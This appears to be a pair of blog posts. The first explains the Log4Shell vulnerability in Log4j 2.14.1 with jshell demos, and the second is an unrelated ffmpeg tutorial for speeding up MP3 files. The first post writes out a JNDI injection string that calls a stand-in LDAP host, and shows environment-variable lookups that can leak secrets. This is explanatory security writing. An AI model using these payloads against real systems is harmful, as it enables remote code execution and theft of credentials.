Log4J does what?!!!

You have probably heard of Log4Shell, the security vulnerability that has ‘earned’ itself an NIST rank of 10:

Source: https://nvd.nist.gov/vuln/detail/CVE-2021-44228

In this post I will show a really basic example of how this vulnerability actually works. I will walk you through some simple usage of the Log4J library and then show how user input that reaches this library can cause truly unexpected, and potentially disastrous, outcomes.

First some background

Log4J is one of the most commonly used logging frameworks in the JVM world. A LOT of projects use it.

Logging is one of the first things you add to any project. It is the most basic form of Observability you can add to a project, giving you some insight into what is going on in your code as it is running.

What goes into a log message? It depends. Here is a simple example:

LOG.info("This is a valid log message");

or another example that is almost as simple, with a basic parameter:

LOG.info("This is a {} log message", "valid");

It is fairly common practice for a server to log some of the input parameters as it processes a request from a client. The server of-course should avoid logging data that might be privileged in some way, like user session IDs or Personally Identifiable Information, but the type of information that a user fills in on a web form is quite often logged. So a typical logging statement would look something like this:

String userInput = ....
LOG.info("User requested information about {}", userInput);

When you use a logging framework, you generally expect it to have a configuration format that allows you to determine where your logs go: to a console output, a log file, or maybe some network server that collects your logs. The configuration probably also includes some formatting instructions that add things like the current time to your logs.

Ultimately, you expect the logging framework to be fairly straightforward.

And now for some code

We will be using jshell to run these examples.

Let’s start with some setup. In your local console run the following commands:

mkdir log4j
cd log4j
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.14.1/log4j-api-2.14.1.jar
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar

And start jshell:

jshell -class-path log4j-api-2.14.1.jar:log4j-core-2.14.1.jar

Note that these commands will work on a MacOS/Linux terminal. Some adaptations are required for Windows.

Inside jshell, let’s start by importing the classes we will need and creating the logger:

jshell> import org.apache.logging.log4j.LogManager
jshell> import org.apache.logging.log4j.Logger
jshell> Logger LOG=LogManager.getLogger()

Now we can start logging things!

jshell> LOG.error("This is a valid log message")
23:47:53.930 [main] ERROR REPL.$JShell$16 - This is a valid log message
jshell> LOG.error("This is a {} log message", "valid");
23:48:30.783 [main] ERROR REPL.$JShell$16 - This is a valid log message
    

We can see that the logger works (and also that I should be sleeping now, not writing this post) and does pretty much what we expect a logger to do: write my log statements to the default location – the console.

Now we start seeing some other things:

jshell> LOG.error("This is also a valid log with a lookup ${hostName}");
23:50:55.188 [main] ERROR REPL.$JShell$16 - This is also a valid log with a lookup Baraks-MacBook-Pro-2.local

What’s this “${hostName}“? I certainly did not expect anything special there. These built-in parameters are called lookups, and you can find them in the Log4J manual if you know where to look. But if the user input also includes these lookups, Log4J will execute them as well.

Is that so bad?

Not necessarily. I can certainly see how using such a lookup might come in handy in some situations. Let’s see what more we can do:

jshell> LOG.error("This is also a valid log with a lookup ${java:os} ${java:vm}");
23:55:51.105 [main] ERROR REPL.$JShell$16 - This is also a valid log with a lookup Mac OS X 11.6, architecture: x86_64-64 OpenJDK 64-Bit Server VM (build 16.0.1+9, mixed mode, sharing)

Hmm. Built-in access to some Java static information. I guess that is OK.

jshell> LOG.error("This is also a valid log with an environment variable ${env:SHELL}")
23:56:50.974 [main] ERROR REPL.$JShell$16 - This is also a valid log with an environment variable /bin/zsh

Access to some environment variables. Useful in some cases, I suppose.

jshell> LOG.error("This is also a valid log with an environment variable ${env:SSH_AUTH_SOCK}")
23:59:28.583 [main] ERROR REPL.$JShell$16 - This is also a valid log with an environment variable /var/folders/XX/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/X//XXXXXXXXXXXXXXXX

Hang on there. This is basically access to all of the environment variables that the process runs with. There might be some passwords/API Keys/secrets passed to the JVM by whatever system you are using to manage your server processes and secrets (You ARE using a secret storage system and not hard-coding things, right?). I could end up logging things that I really do not want to log.

Wait, What?

And then you try to run this:

LOG.error("This is an exploit log message: ${jndi:ldap://10.10.10.10/a}")

And the shell is stuck for more than a minute. It just sits there, doing nothing, waiting for a response from the LDAP server that does not exist at 10.10.10.10. This Log4J call actually initiated a network call to another server, unrelated to any configuration I set. This is potentially disastrous!!!

If a user sent me the input “${jndi:ldap://10.10.10.10/a}” and I logged it with Log4J, my code is stuck. If the user sends a few of these requests, my server will exhaust whatever thread pool it is using and stop serving traffic. This is an incredibly simple Denial-of-Service attack. It’s not a DDoS. It’s just a plain old DoS.

It gets worse

What if the log is not 10.10.10.10? What if it’s ‘http://www.some-hacker-machine.com‘? And that machine is running an actual LDAP server?

I am not going to get into the details of JNDI and LDAP. It is slightly complicated, not really interesting and generally useless for the absolute vast majority of developers.

What IS important is that it is entirely possible that the remote server can reply to my hapless logger with a java class file – and Log4J would load that class and run it! That basically means that a correctly crafted input to a text box on my site, which is logged by my server via Log4J, will cause my server to download some unknown code from the internet and run it, no questions asked.

This is an RCE – a Remote Code Execution vulnerability. Once some foreign code is running on my server, it can connect to a remote server, download anything it wants, install rootkits, upload my data to the internet and take a nice long stroll through my network. An RCE vulnerability is one of the most dangerous kinds of exploits.

What do you do now?

Plenty of others have reviewed the possible mitigations for Log4Shell better than I could. But most importantly – upgrade your log4J dependencies to the most recent versions as soon as possible. Keep all your other dependencies up to date as well, while you’re at it. And upgrade your JDK to something reasonably up-to-date. JDK 17 is awesome!

And as a longer term lesson – keep things simple! Libraries should do what you expect them to do. I expect my logger to write to a log file. I really do not expect it to ‘lookup’ something, anything, over the network.

A very long time ago, I was cleaning up some very verbose debugging statements in code that I did not write, and my changes broke the application. After taking a closer look, I found I had deleted this:

DEBUG("Counter value is: " + counter++);

The debug statement was changing the state of the system. It is clearly there if you look for it, but you do not expect it to be there, because logging statements are not supposed to change the system state. Nor are they supposed to connect to unspecified network resources, for that matter!

Re-Encoding MP3 files for faster playback speed

This post is not exactly in my usual cloud/automation/things I do at work area, but it took me enough time to figure out how to do this that I figure writing about it might save someone else some effort.

Why would you want to do this?

While many music players can change the playback speed of files at runtime, a rather interesting exception is old-school mp3 players, and specifically water-proof mp3 players used by swimmers. Bluetooth and water don’t mix well so using your phone with wireless headphones, waterproof or not, does not work. And these tiny waterproof music players (I use the excellent Syryn player from Underwater Audio) just don’t have the oomph (or the interface) to change the playback speed of an audio stream at runtime.

How?

I will use the awesome ffmpeg open source library to re-encode my media files.

First, you need to install the ffmpeg CLI. Go ahead and download the package for your operating system. If you are using MacOS and have brew installed, you can install ffmpeg with this command:

$: brew install ffmpeg

To encode a single mp3 file run the following shell command:

$: ffmpeg -i some_file.mp3 -filter:a "atempo=2" some_file_x2.mp3

And to re-encode an entire directory of files, with the new re-encoded files saved in a sub-directory called ‘fast’, run this shell command in the directory with your files:

$: for f in *.mp3; do ffmpeg -i "$f" -filter:a "atempo=2" fast/"$f"; done

Note the ‘atempo‘ parameter. This is the parameter that sets the new playback speed. In this example, the generated files will play at twice the speed of the original file.